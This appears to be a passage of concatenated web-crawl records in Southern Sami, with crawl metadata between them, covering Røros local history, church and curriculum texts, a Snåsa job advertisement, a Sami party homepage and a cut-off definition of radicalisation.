Bïerjestaaresne lij gellie gaertenh mah meehtin jïjjedimmiem almetjidie jïh lïegkedimmiesijjiem kreekide faalehtidh. Sååjhti åeremesijjie ajve lij bïenghke, jïh feelijh tjoerin jïjtjh beapmojne öörnedh. Maahta gujht aerviedidh lij dovne dïeve jïh feejjene aajmoe gaertieninie gosse gellie almetjh ovmessie sijjijste tjåanghkenin. Feelemegaertenh sijjiem hierkide utnin staellesne, jïh vuejemeråantjoeh meehtin vïedteldihkie tjåadtjodh sjaljosne. Daelvege gidtjh saemieh vuejemeråantjoejgujmie jïh gierehtsigujmie fealadin.\nGosse saemieh easkah lin Plaassjesne sååjhti dah dovne aktem jïh jienebh jïjjedimmieh daarpesjin. Mænngan vuejemeråantjoe lij sjaljosne tjåådtjeme gellie biejjieh, dellie sån sååjhti dïhte lissie sterpiedi mearan gaatoen tjïrrh jïh gåetide hajki. Soptsesåvva jeenjesh lin stïeresne gosse saemieh vuejemeråantjojne jïh gieriehtsinie vualkajin, muvhten aejkien jienebh ektesne.\nMubpien veartenedåaran åvtelen jïh veartenedåaran lij dovne prïhtjhgåetie, byöpmedimssijjie jïh gåetieluhpie daesnie Rønningagaertesne. Daesnie aaj saemieh gåetieluhpiem åadtjoejin gosse bïerjestaaresne mïnnin. Maarhnesne dan jïjnjh almetjh meehtin gaertienidie båetedh guktie ij lij nuekie seangkoeh jïh bïenghkh, men dellie almetjh aaj tjoerin guelpesne jïjjedidh.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/rorosmuseet.no\/lyttepunkter?kp_id=44:888:9343","date":"2023-02-07T15:13:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500619.96\/warc\/CC-MAIN-20230207134453-20230207164453-00535.warc.gz","language":"sma","language_score":0.9999605417,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999605417251587}","num_words":278,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Teologijen gïehtjedimmie jaahkoebyjhkesjimmien golme artihkeli bïjre sveerjengïelesne.\nJupmelen jaehkedh mij jieledem vedtedh fïerhten biejjien\nMijjieh Jupmelem jaehkebe mij lea jieledem almetjasse jïh univeersese vadteme jïh jåarhka jieledem vedtedh fïerhten biejjien. Dïhte akte Jupmele mij almetjem sjïdteme Jesus Kristusinie jïh jåarhka mijjien luvnie aejlies Voejkeninie jieledh.\nGååvnesieh gellie jaahkoebyjhkesjimmieh. Dïhte jaahkoebyjhkesjimmie maam mijjieh ektesne gyrhkesjimmesne, laavkoemisnie jïh skyllemisnie lohkebe gohtje apostolihken jaahkoebyjhkesjimmiem jïh gærhkoe dam 300-låhkosne haamoedi:","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.svenskakyrkan.se\/jaahkoebyjhkesjimmie","date":"2023-06-01T16:19:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224647895.20\/warc\/CC-MAIN-20230601143134-20230601173134-00021.warc.gz","language":"sma","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000053644180298}","num_words":66,"character_repetition_ratio":0.12,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.121,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n1995\nISBN\nVi95\nTïjje\n00:31:50\nFormaate\nDVD\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nDemands Norwaco\nJaavoe\nAamhtesh\nViehkiebaakoe\n2. veartenedåaroe saemiendajvesne.\nProgramme vuesehte guktie muvhth saemieh vuastalimmiebarkoeh juhtehteminie mubpene veartenedåarosne. Idtjin tyskeladtjh saemide seahkerh jïh baajin dejtie \"raeffesne\". Tyskeladtji mietie saemieh lin vuelebe daltesisnie jïh mïsse gan aevhkine dåaroe-baelien. Nimhtie dam saemieh, eeremes båatsoesaemieh, fihkin mïnnedidh bïjre jarkan, sïektjedh jïh bïevnedh tyskeladtji darjomh jïh dåemiedimmiem.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ovttas.no\/sma\/filbma_lappen-der-lappen","date":"2023-06-02T09:31:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224648465.70\/warc\/CC-MAIN-20230602072202-20230602102202-00712.warc.gz","language":"sma","language_score":0.9999328852,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999328851699829}","num_words":75,"character_repetition_ratio":0.026,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Novella lea åenehks soptsese. Tjaelije nænnoste maam sæjhta mijjese soptsestidh jïh guktie edtja dam darjodh. Jis mijjieh novellam lïhkebe gïehtjedibie, dellie maehtebe analyseradidh jïh guarkedh maam tjaelije sæjhta mijjese soptsestidh.\nDaesnie raerieh guktie maahta noella-analyjsem tjaeledh.\nAalkoe\nÅehpiedehtieh novellam:\nbijjiebaakoe\ntjaelijen nomme\ngåessie tjaaleme\nMujhtieh novellan nomme heereme-væhtine utnedh! \"....\"\nÅejvie-boelhke\nDahkoe\/heannadimmie\nTjaelieh åenehkslaakan man bïjre novella. Neebnh mij teema maahta årrodh.\nAlmetjh\nTjaelieh åejvie-almetjen jïh aaj vihkeles lissie-almetji bïjre. Guktie dah leah? Mij akt jarkese? Gosse datne edtjh almetjh buerkiestidh dellie maahta buerkiestidh\nmaam dah darjoeh\nguktie dah ussjedieh\nmaam jeatjebh dej bïjre ussjedieh\nByjrese\nGusnie jïh gåessie heannedeminie? Gåessie novella tjaaleme, jaepie maahta datnem viehkiehtidh sisvegem guarkedh? Magkeres byjrese novellesne?\nVuajnoe\nGuktie tjaelije novellam soptsestamme? Giej tjelmiejgujmie mijjieh dahkoem vuejnebe? Man åvteste hijven daam novellam tjaeledh daan vuajnoen mietie?\nAutoraale soptsestæjja: Ij leah jïjtje meatan soptsesisnie. Ajve soptseste mij heannede, men auroraale soptsestæjja maahta gaajhkem daejredh. Daajra maam almetjh ussjedieh jallh demtieh. Jallh maahta soptsestidh mij heannede men ij daejrieh maam almetjh ussjedieh jallh demtieh (heamturh).\nPersonaale soptsestæjja: Soptsestæjja jïjtje meatan soptsesisnie, dïhte maahta \"manne\" årrodh jallh akte jeatjah (dïhte). Dellie soptsestæjja daajra maam åejvie-almetje ussjede men ij daejrieh maam jeatjebh ussjedieh.\nGuktie bigkeme\nTeekste aalka aktine heannadimmine(in medias res)? Kronologihke jallh retrospektijve ? Jis retrospeksjovne, guktie daate vuekie heannadimmiem tsavtsa? Datne maahtah veanhtoeh gaavnedh novellesne? Guktie mijjieh maehtebe guarkedh daam maam ij neebneme?\nNaan aejkien tjaelije maahta maam akt neebnedh, dellie tjoerebe linjaj gaskem lohkedh.\nJarkelimmie-mierie\nMaahtah gïerege-mieriem jallh jarkelimmie-mieriem gaavnedh teekstesne? Galhkuve datnem ierele? Jis galhkuve mijjem ierele guktie dellie teekstem guarkebe?\nAajmoe (stemning):\nMuvhtene teekstine tjaelije gellie baakoeh nuhtjeme mah aajmoem skaepiedieh. Baakoeh leah aaj vierhkie-vierhtieh. Maahta baakoeh årrodh mah skaepiedieh isveligs aajmoem, tjåetskeme aajmoem jaalh feejjen aajmoem. Dagkerh vierhkie-vierhtieh datne maahtah teekstesne gaavnedh mah eah leah gieltegs, jïh eah daarpesjh gïerege-mieriem jallh jarkelimmie-mieriem utnedh.\nMetafovre\nMuvhtine teekstine tjaelije gïele-guvvieh jallh symbolh nuhtjie. Gïele-guvvieh jïh symbolh edtjieh lohkijem viehkiehtidh guktie edtja ussjedidh, jallh edtjieh lohkijem aaj viehkiehtidh guarkedh. Metafovrh maehtieh viertiestimmine årrodh.\nTeema\nMan bïjre teekste? Maehtebe teemam tjïelkelaakan guarkedh, jallh tjoerebe linjaj gaskem lohkedh? Gellien aejkien tjaelije sæjhta maam akt mijjese soptsestidh, daate lea teema. Jis mijjieh guarkebe guktie tjaelije sæjhta maam akt lohkijasse lïerehtidh dellie teekste dïjrem åtna.\nGalhkuve\nNovella lij man akt bïjre, tjaelieh dov mïelem teeman bïjre.\nBaakoeh\nSaemien\nDaaroen\ngïerege-mierie\nhøydepunkt\njarkelimmie-mierie\nvendepunkt\naajmoe\nstemning","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:e7cff23e-2217-49d4-822d-43f4dff47a12\/resource:905e630e-fb78-47a7-9cbc-af3fb0a447d3","date":"2023-09-23T14:55:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506481.17\/warc\/CC-MAIN-20230923130827-20230923160827-00094.warc.gz","language":"sma","language_score":0.9999974966,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999974966049194}","num_words":383,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"|Søknadsfrist:||\n\n\n27.09.2023\nSØRSAMISK ANNONSETEKST\n100 % raajan barkoe goh konsulente Saemien byjjenimmieektievoetesne\n60 % ihkuve barkoe jïh 40 % raajan prosjektebarkoe 2 jaepieh, dejnie nuepine dam guhkiedidh.\nij gåaredh barkoem juekedh.\nDatne struktuvren mietie barkh, skraejriem vaaltah jïh digitaale systeemh gïetedh? Dov lea daajroe, jallh leah tjetskehke saemien gïelese jïh kultuvrese?\nMijjieh positijve jïh jïjtjeraarehke barkoevoelpem ohtsebe, gie maahta barkoelaavenjassh prioriteeredh 100 % raajan barkosne goh konsulente Saemien byjjenimmieektievoetesne.\nSaemien byjjenimmieektievoetesne Åarjel-saemiej skuvle, internaate jïh Suaja Maanagïerte. Skuvle aaj saemien maajhööhpehtimmiem faalehte jeatjah tjïeltide jïh frijjeskuvlide.\nKonsulente lea vihkele meatanspïelije ektievoeten åvtehkidie, gusnie ektievoeten åvtehke (rektovre) jïh maanagiertien åvtehke. Datne sïjhth aaj lïhke laavenjostedh lohkehtæjjajgujmie, pedagogeles åvtehkigujmie jïh jeatjah barkijigujmie ektievoetesne. Muvhti veajkoej maahta sjyöhtehke sjïdtedh ektievoetem representeeredh ektievoeten åvtehken gaatosne.\nBarkoelaavenjassh ihkuve barkoe\nReereles laavenjassh jïh systeemh tjirrehtidh jïh gïetedidh. Dan sisnie gaskem jeatjah:\n- Tæjmoeh soejkesjidh jïh vikaarh leejjedh\n- Baalhka, reeknehlåhkoe jïh åesteme\n- Aamhtesereereme jïh guhkiebasse barkoe dejnie\nJeatjah barkoelaavenjassh Saemien byjjenimmieektievoeten sisnjelen\nBarkoelaavenjassh prosjektebarkoe\nReereles pedagogeles laavenjassh. Dan sisnie gaskem jeatjah:\n- Laavenjostoeguejmiejgujmie gaskesadtedh\n- Evtiedimmiebarkoe\n- Prosjekth fulkesidh\nJeatjah laavenjassh Saemien byjjenimmieektievoetesne\nKvalifikasjovnh\n- Sjyöhtehke ööhpehtimmie, goh reeremen jïh organisasjovnen sisnjeli. Sjyöhtehke dååjrehtimmie maahta faatoes ööhpehtimmiem kompenseeredh.\n- Vaajteles pedagogeles dååjrehtimmine\n- Hijven praktihkeles IKT-maehtelesvoeth. Ïedtje jïh goerkese guktie teknologije maahta barkoerutijnh baajnehtidh jïh evtiedidh.\n- Væjkele gaskesadtedh dovne tjaaleldh jïh njaalmeldh nöörjengïelesne jïh maaje åarjelsaemiengïelesne\n- Vaajteles dååjrehtimmine byögkeles reeremistie, saemien gïele- jïh kultuvregoerkesinie, jïh daajrojne tjïelten laake- jïh latjkoevierhkiej bïjre.\nSijhtebe joekoen leavloem bïejedh persovneles sjiehtelesvoetese.\nMijjieh faalehtibie\nBarkoetïjje tjïelten njoelkedassi mietie fleksijbele barkoetïjjese.\nBaalhka latjkoen mietie.\nDåarjoe saemien gïelelïerehtæmman jis daerpies\nMaehtebe trippelmaahtoem honoreeredh (saemien gïele- jïh kultuvremaahtoe jïh sjyöhtehke ööhpehtimmie)\nTjïelte maahta viehkiehtidh gåetiem skååffedh.\nTjïelte maahta juhtememaaksoeh maeksedh tjïelten njoelkedassi mietie. Vuarjasjamme sjædta aejkeste aajkan.\nEllies maanagïertefaalenasse.\nVielie bïevnesh barkoej bïjre åadtjoeh jis soptsesth ektievoeten åvtehkinie Hans Lindberg tell. 9797 8388.\nJis ålmah jïh nyjsenæjjah seamma maahtoem utnieh sijhtebe veeljedh dam tjoelem mij unnebelåhkosne.\nNORSK ANNONSETEKST\n60 % fast stilling og inntil 40 % prosjektstilling i 2 år, med mulighet for forlengelse.\nStillingen kan ikke deles\nEr du strukturert, initiativrik og håndterer digitale system? Har du kjennskap til, eller er nysgjerrig på samisk språk og kultur?\nVi søker etter en positiv og selvstendig kollega, med evne til å prioritere arbeidsoppgaver i inntil 100% stilling som konsulent ved Samisk oppvekstenhet.\nSamisk oppvekstenhet består av Åarjel-saemiej skuvle (skole), Internaate (internat) og Suaja Maanagïerte (barnehage). Skolen tilbyr også samisk fjernundervisning til andre kommuner og friskoler.\nKonsulenten er en viktig lagspiller for enhetens ledelse, bestående av enhetsleder (rektor) og barnehagestyrer. Du vil også samarbeide tett med lærere, pedagogisk ledere, og andre ansatte ved enheten. I enkelte tilfeller kan det bli aktuelt å representere enheten i enhetsleders fravær.\nArbeidsoppgaver faststilling\nUtførelse og håndtering av administrative oppgaver og system. I det ligger bl.a.\n- Timeplanlegging og vikarinnleie\n- Lønn, regnskap og innkjøp\n- Saksbehandling og oppfølging\nAndre arbeidsoppgaver innenfor Samisk oppvekstenhet\nArbeidsoppgaver prosjektstilling\nAdministrative pedagogiske oppgaver. I det ligger bl.a.\n-Korrespondanse med samarbeidspartnere\n-Utviklingsarbeid\n-Prosjektoppfølging\nAndre oppgaver innenfor Samisk oppvekstenhet\nKvalifikasjoner\n- Relevant utdanning, eksempelvis innen administrasjon og organisasjon. Relevant erfaring kan kompenseres for manglende utdanning.\n- Ønskelig med pedagogisk bakgrunn\n- Gode praktiske IKT-ferdigheter. Interesse og forståelse for hvordan teknologi kan påvirke og utvikle arbeidsrutiner.\n- God skriftlig og muntlig framstillingsevne på norsk og gjerne på sørsamisk.\n- Ønskelig med erfaring fra offentlig forvaltning, samisk språk- og kulturforståelse, og kjennskap til kommunalt lov- og avtaleverk.\nPersonlig egnethet vil bli spesielt vektlagt.\nVi tilbyr\nArbeidstid regulert av kommunens retningslinjer for fleksibel arbeidstid.\nLønn etter avtale.\nStøtte til samisk språkopplæring om behøvelig\nTrippelkompetanse kan honoreres (samisk språk- og kulturkompetanse og relevant utdanning)\nKommunen kan være behjelpelig med å skaffe\/formidle bolig.\nFlytteutgifter kan dekkes iht. kommunens reglement. Vurderes i hvert enkelt tilfelle.\nFull barnehagedekning\nNærmere opplysninger om stillingene fås ved henvendelse til enhetsleder Hans Lindberg tlf. 97978388.\nUnder ellers like vilkår vil underrepresentert kjønn bli foretrukket.\nHans Henrik Lindberg, Enhetsleder samisk oppvekstenhet, +47 97978388, firstname.lastname@example.org\nBulls Veg 61\n7760 Snåsa\nMijjen visjovne lea «Tjïelke, boerehke jïh mavvas» Snåasen tjïelte lea tjïelte medtie 2000 årrojigujmie, Trööndelagen noerhtene. Tjïelten lea ellies maanagïertefaalenasse jïh jaepien 2022 Nöörjen bööremes maanagïertetjïeltine veeljesovvi. Doh golme skuvlh, Snåasen skuvle, Åarjel-saemiej skuvle jïh Snåsa montessoriskuvle jearsoe jïh hijven lïeremesijjieh faalehtieh. Snåase lea guektiengïeleldh jïh guektienkulturelle tjïelte jïh jarnge åarjelsaemien gïelese jïh kultuvrese. Eatneme mïerhkelgåvva vijries voenijste skåajji gaskesne mah aesine jïh vaerine jåerhkieh. Ræjhkoes nuepieh ålkone mïnnedh, vijredh jïh gööledh, dovne nasjonaaleparhkesne jïh ålkolen. Hijven kommuniksjovnenuepieh geajnojne jïh ruevtieraajrojne tjïelten tjïrrh, jïh medtie 2 tæjmoeh girtiesæjjan Værnes bïjline.\nSnåasen tjïelte\/Snåsa kommune er en kommune med ca. 2.000 innbyggere, beliggende nord i Trøndelag. Kommunen har full barnehagedekning og ble i 2022 kåret til Norges beste barnehagekommune. De tre skolene Snåsa skole, Åarjel-saemiej skuvle og Snåsa montessoriskole tilbyr trygge og gode læringsarenaer. Snåsa er tospråklig og tokulturell kommune med senter for Sørsamisk språk og kultur. Landskapet er preget av brede bygder mellom skogområder som går over i åser og fjell. Det er rike muligheter for friluftsliv, jakt og fiske, både i og utenfor nasjonalpark. Kommunikasjonene er gode med vei og jernbane gjennom kommunen, og det er ca. 2. timer til flyplass\/Værnes med bil.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.kommunaljobb.no\/job\/8259\/inntil-100-stilling-som-konsulent-ved-samisk-oppvekstenhet\/","date":"2023-09-22T01:26:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506320.28\/warc\/CC-MAIN-20230922002008-20230922032008-00865.warc.gz","language":"sma","language_score":0.9791045785,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9791045784950256, \"sme_Latn_score\": 0.01761898398399353}","num_words":798,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":0.986,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Eatnemefaage lea vihkeles faage juktie buerkiestidh jïh guarkedh guktie mijjen fysiske veartene lea tseegkesovveme. Faage edtja viehkiehtidh guktie learohkh eatnemedååjresh jïh faageles våaromem åadtjoeh eatnemevierhtieh vaarjelidh, biologeles gellievoetem vaarjelidh jïh monnehke evtiedimmine viehkiehtidh. Eatnemefaage edtja aaj viehkiehtidh guktie learohkh maahtoem evtiedieh jïjtsh jïh mubpiej healsoem gorredidh. Gosse learohkh eatnemefaageles gïelem jïh eatnemefaageles vuekieh, praksish jïh ussjedimmievuekieh åtnose vaeltieh barkosne faageles teemajgujmie, sijhtieh våaromem åadtjodh guarkedh guktie eatnemefaageles daajroe åtnasåvva jïh evtiesåvva. Gosse learohkh saemien baakoetjïerth eatnemefaagesne lierieh, dellie daajroem jïh goerkesem åadtjoeh saemien ussjedimmievuekiej bïjre. Faage edtja aaj viehkiehtidh guktie learohkh goerkesem åadtjoeh saemien aerpievuekien daajroen bïjre gosse praktihkeles leah meatan. Daajroe ektiespïelen bïjre eatnemen, indivijden, teknologijen jïh seabradahken bïjre maahta learohki maahtoem evtiedidh laejhtehkslaakan ussjedidh, jïh viehkiehtidh guktie learohkh voerkes veeljemh darjoeh aarkebiejjien. Eatnemefaage edtja learoehkidie barkoe- jïh seabradahkejieliedasse ryöjrehtidh mij sæjhta krïevenassem bïejedh akten kraanskoje geatskanæmman jïh teknologeles maahtose.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.udir.no\/lk20\/nat02-04\/om-faget\/fagets-relevans-og-verdier?lang=sma","date":"2023-10-02T14:59:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511000.99\/warc\/CC-MAIN-20231002132844-20231002162844-00122.warc.gz","language":"sma","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000009298324585}","num_words":141,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.17,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem faagesne duedtie 3. jïh 4. daltesisnie vuesiehtieh gosse duedtievuekieh pryövoeh, digitaale dïrregh jïh visuelle vuekieh pryövoeh jïh leah meatan sjugneden prosessine. Dah aaj maahtoem vuesiehtieh jïh evtiedieh gosse soptsestellieh man bïjre tjeahpoe, daeverh jïh gåetieh soptsestieh, almetji ektiedimmien, identiteeten jïh daerpiesvoeten bïjre.\nLohkehtæjja edtja sjïehteladtedh guktie learohkh leah meatan jïh lïeremelastose skreejrehtidh jeereldihkie praktihkeles laavenjassi tjïrrh jïh gosse learohkh jïjtsh barkoen bïjre ïebnigujmie soptsestellieh. Lohkehtæjja jïh learohkh edtjieh learohki evtiedimmien bïjre duedtesne soptsestalledh. Learohkh edtjieh nuepiem åadtjodh pryövedh. Dan maahtoen mietie maam learohkh vuesiehtieh, edtjieh nuepiem åadtjodh baakoeh bïejedh dïsse maam dååjroeh sijjieh buektiehtieh, jïh maam buerebelaakan buektiehtieh goh aarebi, dovne prosessen jïh dorjesen bïjre. Lohkehtæjja edtja dan guhkiebasse lïeremen bïjre bïhkedidh jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedassem nuhtjedh sov maahtoem åssjalommesh evtiedidh, dåeriesmoerh ïebnine loetedh, visuelle bievnedh jïh duedtien jïh kultuvrevuekiej bïjre soptsestalledh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/khv02-02\/kompetansemaal-og-vurdering\/kv103?lang=sma","date":"2023-12-06T05:23:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100583.13\/warc\/CC-MAIN-20231206031946-20231206061946-00717.warc.gz","language":"sma","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000094175338745}","num_words":145,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.172,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maehtedh tjaeledh geografijesne lea faageles teeksth hammoedidh jïh dejgujmie barkedh mah ålman sjiehtieh, juktie bïevnesh juekedh, bievnedh jïh åehpiedehtedh tjaaleldh. Gosse tjaala geografijesne learohkh maehtieh åssjaldahkh öörnedh, barkoem soejkesjidh jïh vïhtesjimmieh dokumenteeredh. Maehtedh tjaeledh geografijesne lea aaj goerehtidh, buerkiestidh, digkiedidh jïh vuarjasjidh geograafeles tsiehkieh, jïh gaaltijh nuhtjedh jïh gaaltijidie vuesiehtidh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/geo02-02\/om-faget\/grunnleggende-ferdigheter?lang=sma","date":"2023-12-05T01:16:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100540.62\/warc\/CC-MAIN-20231205010358-20231205040358-00589.warc.gz","language":"sma","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000079870224}","num_words":50,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.2,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nöörjen Saemiej Rïjhkesiebrie\nSaernieh\nDaesnie maahtah vuejnedh mejnie barkeminie.Gaajhkh artihkelh\nNordkalottfolket vil ikke at porsangerfolket får anerkjent sine rettigheterLohkh vielie\nSametinget har vedtatt eldrestrategiLohkh vielie\nVi trenger en ny retning i dagens vernepolitikkLohkh vielie\nSametingets budsjett 2024Lohkh vielie\nBuerie båateme mijjese!\nDåeredh NSRm datne aaj! Sjïdth lïhtseginie jïh seedth SMSm 2090 gåajkoe teekstine NSR MEDLEM nomme årromesijjie e-påaste reakedsbiejjien jallh tjaelieh daennie tjaalegisnie.\nMaahtah aaj lïhtseginie sjïdtedh jis maaksah 150,- vippsen tjïrrh jallh 50,- (noerh nuerebe goh 26 jaepien båeries) nummerasse NSR 69515. Tjaelieh aaj dov nomme, årromesijjie, e-påaste jïh reakedsbiejjie.\nLïhtseginie Dåarjoeh mijjem","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/nsr.no\/sma\/","date":"2023-12-10T07:52:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679101282.74\/warc\/CC-MAIN-20231210060949-20231210090949-00809.warc.gz","language":"sma","language_score":0.9999496937,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999496936798096}","num_words":89,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Faage edtja daajroem jïh goerkesem vedtedh kristelesvoeten jïh jeatjah religijovni jïh jieledevuajnoej bïjre voenges, nasjonaale jïh abpe veartenisnie indivijde-, dåehkie jïh aerpievuekien daltesisnie. Learohkh edtjieh aaj daajroem åadtjodh guktie kristelesvoete jïh jeatjah religijovnh jïh jieledevuajnoeh leah meatan dovletje prosessine, jïh leah vïedteldihkie seabradahkejarkelimmiejgujmie jïh kultuvr-eaerpine. Learohkh edtjieh gelliesåarhts relgijovnigujmie jïh jieledevuajnoejgujmie åahpenidh, jïh ovmessie aerpievuekiej gellievoetine. Faage edtja våaromem vedtedh ussjedadtedh jienebelåhkoe-, unnebelåhkoe- jïh aalkoealmetjenperspektijvi bijjeli Nöörjesne.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/rle02-03\/om-faget\/kjerneelementer?lang=sma","date":"2023-12-08T19:06:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100769.54\/warc\/CC-MAIN-20231208180539-20231208210539-00367.warc.gz","language":"sma","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000008463859558}","num_words":67,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.239,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maehtedh lohkedh saemiengïelesne voestesgïeline lea maehtedh dovne digitaalelaakan jïh paehpierisnie lohkedh. Saemien voestesgïeline sjïere dïedtem åtna lohkemelïerehtimmien åvteste. Maehtedh lohkedh saemiengïelesne voestesgïeline lea vihkeles tjiehpiesvoeth utnedh avkodadimmien bïjre, jïh lohkemegoerkesem evtiedidh aalkoelïerehtimmesne, maehtedh lohkedh jïh guarkedh gellielaaketje teekstesåarhth ovmessie aajkojde. Maehtedh lohkedh lea maehtedh ovmessie strategijh nuhtjedh juktie digitaalelaakan jïh paehpierisnie lohkedh. Learohkh edtjieh maehtedh iktemierien teeksth jïh tjåanghkan bïejesovveme teeksth lohkedh gusnie teekste, illustrasjovnh jïh jeatjah buektemevuekieh. Learohkh edtjieh aaj guarkedh jïh maehtedh saemien dïejvesh, baakoeh jïh baakoetjïerth nuhtjedh taali, stoeredahki jïh möölegeektievoeti bïjre, jïh aaj symbovlh jïh figuvrh ovmessie såarhts teekstine. Dah edtjieh aaj maehtedh bïevnesh damtijidh jïh toelhkestidh joekehts teekstijste, diagrammijste jïh jeatjah såarhts våajnoes åehpiedehtiemijstie, jïh maehtedh sisvegem vuarjasjidh. Faagen lea sjïere dïedte learohki maahtoem evtiedidh dovne aamhteseprovsam jïh tjiehpieslidteratuvrem lohkedh, jïh teeksth laejhtehkslaakan vuarjasjidh jïh sisvegem bijjeli ussjedadtedh teekstine.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/sfs01-05\/om-faget\/grunnleggende-ferdigheter?lang=sma","date":"2024-02-25T19:10:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474641.34\/warc\/CC-MAIN-20240225171204-20240225201204-00138.warc.gz","language":"sma","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000098943710327}","num_words":134,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.209,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Radikaliseereme\nBaakoe radikaliseereme evtiedimmien bïjre åtnasåvva gusnie indivijdh jallh dåehkieh vielie ekstreeme sjidtieh. Nöörjen åejvieladtjh daelie radikaliseeremem defineerie goh prosesse gusnie akte almetje ahkedh vielie vædtsoehvoetem jååhkesje edtja sov politihkeles ulmieh jaksedh. Daajehtse aaj vielie sïejhmelaakan åtnasåvva akten svïhtjemen bïjre otnjegen vööste aktede polariseereme rïektesvoetevuajnoste, gusnie veartenisnie ajve voelph jïh fæjjoeh. Radikaliseereme årrodh ij leah seamma goh radikaale årrodh. Dïhte minngemes maahta aaj politihkeles vuajnojde jallh sjaavnjojde seabradahkese vuesiehtidh, maam almetjh maehtieh 